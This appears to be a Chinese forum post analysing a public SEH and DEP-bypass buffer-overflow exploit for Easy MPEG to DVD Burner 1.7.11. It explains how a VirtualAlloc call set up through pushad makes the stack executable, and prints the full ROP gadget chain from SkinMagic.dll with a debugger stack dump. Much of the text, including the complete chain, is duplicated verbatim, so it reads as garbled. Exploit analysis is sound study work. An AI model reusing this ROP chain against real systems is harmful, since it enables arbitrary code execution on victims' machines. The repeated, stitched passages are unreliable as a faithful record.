1.前言
上篇文章分析了Easy MPEG to DVD Burner 1.7.11 SEH Local Buffer Overflow,本篇文章分析Easy MPEG to DVD Burner 1.7.11 SEH + DEP Bypass Local Buffer Overflow ,没错,多了DEP Bypass,如果将DEP开启,原来的exploit是不能用的,因为堆栈那块不能直接执行我们的代码的。本文尝试分析SEH Local Buffer Overflow下绕过DEP的exploit编写思路。
1.前言
上篇文章分析了Easy MPEG to DVD Burner 1.7.11 SEH Local Buffer Overflow,本篇文章分析Easy MPEG to DVD Burner 1.7.11 SEH + DEP Bypass Local Buffer Overflow ,没错,多了DEP Bypass,如果将DEP开启,原来的exploit是不能用的,因为堆栈那块不能直接执行我们的代码的。本文尝试分析SEH Local Buffer Overflow下绕过DEP的exploit编写思路。
2.基本思路
用VirtualProtect等函数修改内存属性,然后跳到栈上执行.上一篇文章中提到过,主要是用了skinmagic.dll来绕过alsr的.首先需要获得
VirtualProtect等函数的函数地址,然后需要构造好栈的环境,一是要保证正确向函数传递参数,二是要保证在执行完函数之后还能回到原来的栈上.这里采用的方式是先将寄存器赋好值,然后使用pushad构造好环境,具体看下面的分析.
3.样本分析
样本中采用的是VirtualAlloc函数来修改内存属性,像这样:VirtualAlloc(Address, 0x1, 0x1000, 0x40);只申请0x1大小的,但是实际修改的是0x1000大小的内存的属性.至于为什么不用
VirtualProtect,可能是_Out_ PDWORD lpflOldProtect这个参数不方便.
接着第二节分析
要解决的问题:一是正确的传参,二是跳回到原来的栈上执行shellcode
这个是样本上的注释:
# My register setup when VirtualAlloc() is called (Defeat DEP) :
#--------------------------------------------/
# EAX = Points to PUSHAD at time VirtualAlloc() is called (Stack Pivot jumps over it on return)
# ECX = flProtect (0x40)
# EDX = flAllocationType (0x1000)
# EBX = dwSize (0x01)
# ESP = lpAddress (automatic)
# EBP = ReturnTo (stack pivot into a rop nop / jmp esp)
# ESI = ptr to VirtualAlloc()
# EDI = ROP NOP (RETN)<br>
# My register setup when VirtualAlloc() is called (Defeat DEP) :
#--------------------------------------------/
# EAX = Points to PUSHAD at time VirtualAlloc() is called (Stack Pivot jumps over it on return)
# ECX = flProtect (0x40)
# EDX = flAllocationType (0x1000)
# EBX = dwSize (0x01)
# ESP = lpAddress (automatic)
# EBP = ReturnTo (stack pivot into a rop nop / jmp esp)
# ESI = ptr to VirtualAlloc()
# EDI = ROP NOP (RETN)<br>
实际调试:
首先找到了一个pushad retn,此时各个寄存器也被设置好了
执行完pushad后,马上就要执行VirtualAlloc了,这里首先是retn跳到0x10032158
RETN
,也就是EDI = ROP NOP (RETN),接着才跳到VirtualAlloc上,可能是利用条件苛刻吧.
当执行完
VirtualAlloc函数之后,就要返回到其下的0x100284f8 ,也就是EBP = ReturnTo (stack pivot into a rop nop / jmp esp),这个是作为跳回到原来的栈上执行shellcode的第一步.
至于VirtualAlloc的参数,就是
# ECX = flProtect (0x40)
# EDX = flAllocationType (0x1000)
# EBX = dwSize (0x01)
# ESP = lpAddress (automatic)这几个了,其中
lpAddress刚好就是ESP.
总结一下就是
0018A4D0 10032158 skinmagic.10032158 //->retn,跳到下面的
VirtualAlloc
0018A4D0 10032158 skinmagic.10032158 //->retn,跳到下面的
VirtualAlloc
0018A4D4 <&VirtualAlloc> 755A1856 kernel32.VirtualAlloc
0018A4D8 100284F8 返回到 skinmagic.100284F8 自 skinmagic.100285B8 //->重要,执行完
VirtualAlloc 后用于返回到栈上接着执行代码
0018A4DC 0018A4F0 //->esp,要修改的属性的内存地址
0018A4E0 00000001
0018A4E4 00001000
0018A4E8 00000040
0018A4EC 00407555 easy mpeg to dvd burner.00407555
0018A4D4 <&VirtualAlloc> 755A1856 kernel32.VirtualAlloc
0018A4D8 100284F8 返回到 skinmagic.100284F8 自 skinmagic.100285B8 //->重要,执行完
VirtualAlloc 后用于返回到栈上接着执行代码
0018A4DC 0018A4F0 //->esp,要修改的属性的内存地址
0018A4E0 00000001
0018A4E4 00001000
0018A4E8 00000040
0018A4EC 00407555 easy mpeg to dvd burner.00407555
整个流程是:
1.溢出触发异常
041324E0 | FF 41 0C | inc dword ptr ds:[ecx+C]
041324E0 | FF 41 0C | inc dword ptr ds:[ecx+C]
2.跳到SEH处理函数 0x00404e06
# POP EDI # POP ESI # POP EBP # MOV DWORD PTR FS:[0],ECX # POP EBX # ADD ESP,778 # RETN
跳到10032158 | C3 | ret .......ropnop
3.接着就是安排各个寄存器的值
#***START VirtualAlloc() to ESI***
0x10027e6b, # POP EAX # RETN [SkinMagic.dll] **
0x1003b1d4, # ptr to &VirtualAlloc() [IAT SkinMagic.dll]
0x100369a1, # MOV EAX,DWORD PTR DS:[EAX] # RETN [SkinMagic.dll]
0x10032993, # POP EBX # RETN [SkinMagic.dll]
0xffffffff, #
0x10037bd3, # INC EBX # FPATAN # RETN [SkinMagic.dll]
0x10037bd3, # INC EBX # FPATAN # RETN [SkinMagic.dll]
0x10037bc0, # POP EDX # RETN [SkinMagic.dll]
0xffffffff, #
0x10035a07, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN [SkinMagic.dll]
0x10037654, # POP EAX # RETN [SkinMagic.dll]
0xa141dffb, #
0x100317c8, # ADD EAX,5EFFC883 # RETN [SkinMagic.dll] Gets us to #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
0x1003248d, # PUSH EAX # RETN [SkinMagic.dll] | Calls #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
0x41414141, # FILLER
0x1003993e, # PUSH EDX # ADD AL,5F # POP ESI # POP EBX # RETN 0x0C [SkinMagic.dll]
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
#***END VirtualAlloc() to ESI***
#***START 0x40 to ECX***
0x100185fb, # XOR EAX,EAX # RETN [SkinMagic.dll]
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
0x10037c5b, # ADD EAX,40 # POP EBP # RETN [SkinMagic.dll]
0x41414141, # FILLER
0x10032176, # XCHG EAX,ECX # ADD EAX,20835910 # ADD BYTE PTR DS:[ECX+10059130],AH # MOV DWORD PTR DS:[1005912C],EAX # RETN [SkinMagic.dll]
#***END 0x40 to ECX***
#***START 0x1000 to EDX***
0x10032993, # POP EBX # RETN [SkinMagic.dll]
0xaaaaaaaa, #
0x10037bc0, # POP EDX # RETN [SkinMagic.dll]
0x55556556, #
0x10037654, # POP EAX # RETN [SkinMagic.dll]
0xa141dffb, #
0x100317c8, # ADD EAX,5EFFC883 # RETN [SkinMagic.dll] Gets us to #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
0x1003248d, # PUSH EAX # RETN [SkinMagic.dll] | Calls #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
0x41414141, # FILLER
#***END 0x1000 to EDX***
#*** Start EBP = ReturnTo (stack pivot into a rop nop / jmp esp)***
0x1002829d, # POP EBP # RETN [SkinMagic.dll]
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
0x100284f8, # {pivot 16 / 0x10} : # ADD ESP,0C # POP EBP # RETN [SkinMagic.dll]
#*** END EBP = ReturnTo (stack pivot into a rop nop / jmp esp)***
#***START 0x1 to EBX***
0x10032993, # POP EBX # RETN [SkinMagic.dll]
0xffffffff, #
0x10037bd3, # INC EBX # FPATAN # RETN [SkinMagic.dll]
0x10037bd3, # INC EBX # FPATAN # RETN [SkinMagic.dll]
#***END 0x1 to EBX***
#***START ROP NOP to EDI***
0x100342f0, # POP EDI # RETN [SkinMagic.dll]
0x10032158, # RETN (ROP NOP) [SkinMagic.dll]
#***END ROP NOP to EDI***
其中eax不做
VirtualAlloc 参数和esp是自动就有的
4.之后为了跳到pushad,首先巧妙的设计eax的值为
0x00407555 ,然后跳到eax上,也就是pushad retn
#***START VirtualAlloc() to ESI***
0x10027e6b, # POP EAX # RETN [SkinMagic.dll] **
0x1003b1d4, # ptr to &VirtualAlloc() [IAT SkinMagic.dll]
0x100369a1, # MOV EAX,DWORD PTR DS:[EAX] # RETN [SkinMagic.dll]
0x10032993, # POP EBX # RETN [SkinMagic.dll]
0xffffffff, #
0x10037bd3, # INC EBX # FPATAN # RETN [SkinMagic.dll]
0x10037bd3, # INC EBX # FPATAN # RETN [SkinMagic.dll]
0x10037bc0, # POP EDX # RETN [SkinMagic.dll]
0xffffffff, #
0x10035a07, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN [SkinMagic.dll]
0x10037654, # POP EAX # RETN [SkinMagic.dll]
0xa141dffb, #
0x100317c8, # ADD EAX,5EFFC883 # RETN [SkinMagic.dll] Gets us to #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
0x1003248d, # PUSH EAX # RETN [SkinMagic.dll] | Calls #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
0x41414141, # FILLER
0x1003993e, # PUSH EDX # ADD AL,5F # POP ESI # POP EBX # RETN 0x0C [SkinMagic.dll]
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
#***END VirtualAlloc() to ESI***
#***START 0x40 to ECX***
0x100185fb, # XOR EAX,EAX # RETN [SkinMagic.dll]
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
0x10037c5b, # ADD EAX,40 # POP EBP # RETN [SkinMagic.dll]
0x41414141, # FILLER
0x10032176, # XCHG EAX,ECX # ADD EAX,20835910 # ADD BYTE PTR DS:[ECX+10059130],AH # MOV DWORD PTR DS:[1005912C],EAX # RETN [SkinMagic.dll]
#***END 0x40 to ECX***
#***START 0x1000 to EDX***
0x10032993, # POP EBX # RETN [SkinMagic.dll]
0xaaaaaaaa, #
0x10037bc0, # POP EDX # RETN [SkinMagic.dll]
0x55556556, #
0x10037654, # POP EAX # RETN [SkinMagic.dll]
0xa141dffb, #
0x100317c8, # ADD EAX,5EFFC883 # RETN [SkinMagic.dll] Gets us to #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
0x1003248d, # PUSH EAX # RETN [SkinMagic.dll] | Calls #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
0x41414141, # FILLER
#***END 0x1000 to EDX***
#*** Start EBP = ReturnTo (stack pivot into a rop nop / jmp esp)***
0x1002829d, # POP EBP # RETN [SkinMagic.dll]
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
0x100284f8, # {pivot 16 / 0x10} : # ADD ESP,0C # POP EBP # RETN [SkinMagic.dll]
#*** END EBP = ReturnTo (stack pivot into a rop nop / jmp esp)***
#***START 0x1 to EBX***
0x10032993, # POP EBX # RETN [SkinMagic.dll]
0xffffffff, #
0x10037bd3, # INC EBX # FPATAN # RETN [SkinMagic.dll]
0x10037bd3, # INC EBX # FPATAN # RETN [SkinMagic.dll]
#***END 0x1 to EBX***
#***START ROP NOP to EDI***
0x100342f0, # POP EDI # RETN [SkinMagic.dll]
0x10032158, # RETN (ROP NOP) [SkinMagic.dll]
#***END ROP NOP to EDI***
其中eax不做
VirtualAlloc 参数和esp是自动就有的
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2019-4-12 10:19
被树梢之上编辑
,原因: